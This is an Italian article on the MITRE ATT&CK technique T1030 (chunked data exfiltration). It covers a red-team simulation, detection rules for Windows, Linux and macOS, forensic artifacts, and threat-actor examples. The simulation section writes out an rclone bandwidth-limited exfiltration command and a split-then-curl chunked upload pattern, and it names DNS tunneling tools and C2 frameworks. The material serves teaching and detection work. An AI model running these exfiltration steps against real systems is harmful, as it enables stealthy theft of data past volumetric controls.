Limiti Dimensione Trasferimento Dati: Data Transfer Size Limits (T1030)

Per simulare T1030 in un esercizio red team, l'obiettivo è dimostrare come il frazionamento eluda i controlli volumetrici, mantenendo l'esercizio lab-safe e concordato con il blue team.

Uno strumento di riferimento è Rclone (open source): l'overlay chunker consente di suddividere file di grandi dimensioni durante l'upload verso storage remoto. La configurazione avviene tramite rclone config creando un remote di tipo chunker che avvolge il backend di destinazione, impostando la dimensione del chunk. Per abbassare il profilo di rete si limita la banda con il flag --bwlimit, ad esempio:

rclone copy /data/exfil remote:bucket --bwlimit 1M

Questo replica fedelmente il comportamento osservato nella campagna C0015, dove gli attori limitarono la banda di Rclone durante l'esfiltrazione.

Sul fronte C2, Cobalt Strike (a pagamento) suddivide automaticamente grandi dataset in blocchi più piccoli per l'esfiltrazione, mentre il framework Mythic (open source) supporta chunk size personalizzabili per upload e download dei file, parametro utile per testare diverse soglie di detection.

Per un approccio a canale DNS, in laboratorio si può ricostruire il pattern di malware come Helminth o Kessel, che incapsulano dati in sottodomini di query DNS. Uno strumento adatto è dnscat2 (open source), che tunnelizza dati attraverso query DNS frammentandoli implicitamente nei limiti di lunghezza dei label DNS (massimo 63 caratteri per label). Alternativamente iodine (open source) crea un tunnel IP-over-DNS con dimensioni di frame configurabili.

Per un test manuale e didattico su Linux, si può frammentare un archivio con utility standard:

split -b 1M archivio.tar.gz chunk_

seguito da un invio sequenziale dei pezzi tramite curl verso un endpoint controllato, con pause per restare sotto le soglie temporali. Questo riproduce il pattern di APT28, che ha spezzato file di archivio in blocchi inferiori a 1MB, e di Turla in C0026, con parti da 3MB.

Su Windows, PowerShell permette di leggere e inviare porzioni di file tramite [System.IO.FileStream] con buffer di dimensione controllata, replicando chunk fissi come i 2048 byte di POSHSPY o i 1500 byte di OopsIE.

Durante l'esercizio, documentate accuratamente dimensione dei chunk, intervalli e protocollo scelto: sono proprio questi parametri che il blue team dovrà imparare a rilevare come deviazione dal baseline.

La detection di T1030 ruota attorno all'osservazione di connessioni in uscita con pacchetti di dimensione uniforme trasmessi a intervalli regolari, un pattern che sfugge agli alert basati su soglie volumetriche ma emerge chiaramente dall'analisi comportamentale del flusso.

Su Windows, la strategia di rilevamento combina WinEventLog:Sysmon e i dati NSM:Flow. L'evento chiave è Sysmon EventCode 3 (Network Connection), che consente di correlare un processo con le sue connessioni in uscita. Il segnale sospetto è un processo che stabilisce connessioni ripetute trasmettendo payload di dimensione ricorrente. Tarate la detection con una soglia di dimensione minima ricorrente (PacketSizeThreshold, ad esempio 512B o 1024B), una finestra temporale entro cui i trasferimenti equispaziati vengono aggregati (IntervalRepeatWindow) e una whitelist di porte di servizio attese (KnownServicePorts) per ridurre i falsi positivi.

Su Linux, la telemetria proviene da auditd:SYSCALL e NSM:Flow. Qui l'anomalia è una connessione in uscita generata da processi non normalmente orientati alla rete, che inviano payload di dimensione simile a intervalli uniformi. Costruite un baseline dei binari legittimi (ProcessNetworkBaseline, tipicamente wget e curl), definite una varianza di lunghezza payload accettabile (PayloadLengthVariance, ad esempio ±5%) e una soglia di frequenza di ripetizione (RepeatFrequencyThreshold).

Su macOS, le fonti sono macos:unifiedlog e macos:endpointsecurity. Il focus è su processi che avviano connessioni esterne con dimensioni fisse, in particolare quelli eseguiti da LaunchAgents o da utenti inattesi. Parametri utili sono il contesto del job launchd (LaunchdJobContext), la dimensione mediana del trasferimento (TransferSizeMedian) e la deviazione di protocollo rispetto alle app comuni per una data destinazione (TransferProtocolOutlier).

Un indicatore particolarmente forte è il tunneling DNS: volumi anomali di query verso un singolo dominio con sottodomini lunghi e ad alta entropia segnalano l'incapsulamento di dati in chunk minuscoli, come fanno Helminth e Kessel.

Sul piano preventivo, la mitigazione M1031 (Network Intrusion Prevention) raccomanda l'uso di firme IDS/IPS al perimetro per bloccare traffico associato a infrastrutture C2 e malware noti.

Attenzione ai falsi positivi: backup incrementali, sincronizzazioni cloud e telemetria applicativa producono naturalmente trasferimenti ripetitivi di dimensione costante. Il discrimine è la correlazione tra processo anomalo, destinazione non riconosciuta e assenza di giustificazione operativa.

L'analisi forense di T1030 deve ricostruire una timeline di micro-trasferimenti e correlarla con gli artefatti di staging che precedono l'esfiltrazione frazionata. Gli artefatti digitali principali sono i processi che aprono connessioni, i file frammentati e i record di flusso di rete.

Su Windows, il punto di partenza è la correlazione tra i log di rete e i processi. Sysmon EventCode 3 fornisce la mappatura processo-connessione, mentre l'analisi dei flussi (NSM:Flow) rivela la cadenza dei pacchetti uniformi. Sul disco, cercate artefatti di staging: archivi frammentati con estensioni sequenziali sono un indicatore diretto. Threat Group-3390 spezzava file RAR in parti multiple, quindi la presenza di file .part o .r00, .r01 è significativa. AppleSeed divideva i file al superamento di 0x1000000 byte (16MB), un valore soglia utile da cercare come parametro di configurazione. Le shellbag, le MRU e i Prefetch aiutano a datare l'esecuzione dei tool di frammentazione.

Su Linux, auditd:SYSCALL traccia le chiamate di rete e l'accesso ai file da parte dei processi coinvolti. Ricostruite l'uso di utility come split esaminando la history della shell, i timestamp dei file chunk e i log di auditd relativi alle syscall execve. La presenza di file di dimensione costante generati in rapida successione nella stessa directory è un forte indicatore di staging.

Su macOS, macos:unifiedlog e i dati endpointsecurity permettono di identificare processi lanciati da LaunchAgents che avviano connessioni esterne, ricostruendo il contesto del job launchd responsabile.

Un caso emblematico da documentare è la campagna C0026 attribuita a operazioni coerenti con Turla, dove archivi cifrati contenenti file rubati venivano suddivisi in parti da 3MB prima dell'esfiltrazione: la timeline forense mostrerà la creazione sequenziale di questi segmenti. Nella campagna C0015, l'uso di Rclone con banda limitata lascia tracce nei file di configurazione del tool e nei log applicativi.

Per i canali DNS, l'artefatto chiave sono i log del resolver o le catture PCAP: query verso un dominio con sottodomini ad alta entropia rivelano dati incapsulati in chunk minuscoli, come i 23 byte di Helminth o i 27 caratteri di Kevin.

Documentate sempre dimensione dei chunk, intervallo temporale e protocollo: questi tre parametri consentono di attribuire il comportamento a un profilo malware specifico e di stimare il volume totale esfiltrato.

L'esfiltrazione frazionata è una tecnica trasversale adottata sia da attori state-sponsored che da gruppi criminali orientati al ransomware, segno della sua efficacia contro i controlli volumetrici.

APT28 ha suddiviso file di archivio compressi in blocchi inferiori a 1MB, un approccio coerente con operazioni di spionaggio in cui il volume di dati sottratti è elevato ma la persistenza silenziosa è prioritaria. Threat Group-3390 ha frammentato archivi RAR in parti multiple, integrando la compressione con la suddivisione per ottimizzare l'esfiltrazione. APT41, gruppo con doppia natura spionistica e finanziaria, trasferisce file post-exploitation dividendo il payload in chunk di dimensione fissa per eludere la detection.

LuminousMoth presenta un dettaglio operativo interessante: ha spezzato archivi in più parti specificamente per aggirare un limite di 5MB, dimostrando come gli attori adattino la dimensione dei chunk alla soglia percepita nell'ambiente bersaglio. Sul versante criminale, Play suddivide i file delle vittime in chunk per l'esfiltrazione, coerente con lo schema di doppia estorsione tipico del ransomware.

Sul piano dei tool, si osserva un forte overlap attorno a strumenti dual-use. Cobalt Strike e Mythic offrono nativamente la frammentazione con dimensioni configurabili, mentre Rclone è diventato lo standard de facto per l'esfiltrazione verso cloud grazie all'overlay chunker e al limite di banda. Il malware StealBit integra addirittura un rate configurabile pensato esplicitamente per evadere i meccanismi di detection di rete.

Emerge un chiaro trend evolutivo verso la randomizzazione: mentre malware più datati come POSHSPY (2048 byte) e OopsIE (1500 byte) usavano chunk di dimensione fissa, LunarWeb suddivide i dati oltre 1.33MB in parti di dimensione casuale tra 384 e 512KB, rendendo il pattern statisticamente più difficile da profilare.

Un secondo cluster tecnologico sfrutta il canale DNS per il frazionamento estremo: Helminth (chunk fino a 23 byte), Kessel (dati adattati ai sottodomini) e Kevin (27 caratteri) incapsulano micro-porzioni in query DNS, sfuggendo sia alle soglie volumetriche sia al filtraggio protocollare.

Le campagne documentate confermano l'ampiezza d'uso: in C0015 gli attori ransomware limitarono la banda di Rclone, mentre in C0026 operazioni coerenti con Turla suddivisero archivi cifrati in parti da 3MB. Per un CISO, il segnale strategico è che il monitoraggio basato solo su soglie di volume è ormai insufficiente: serve detection comportamentale sulla cadenza e sull'uniformità dei trasferimenti.

MITRE ATT&CK T1030 (Data Transfer Size Limits, TA0010). Gruppi G0007, G0027, G0096, G1014, G1040. Software S0030, S0150, S0154, S0170, S0264, S0487, S0495, S0622, S0644, S0699, S1020, S1040, S1141, S1200. Campagne C0015, C0026. Mitigazione M1031. Strategia di detection DET0213 (AN0596, AN0597, AN0598). Parte del contenuto operativo su tool (Rclone, Cobalt Strike, Mythic, dnscat2, iodine) deriva da conoscenza professionale di cybersecurity verificata su documentazione ufficiale.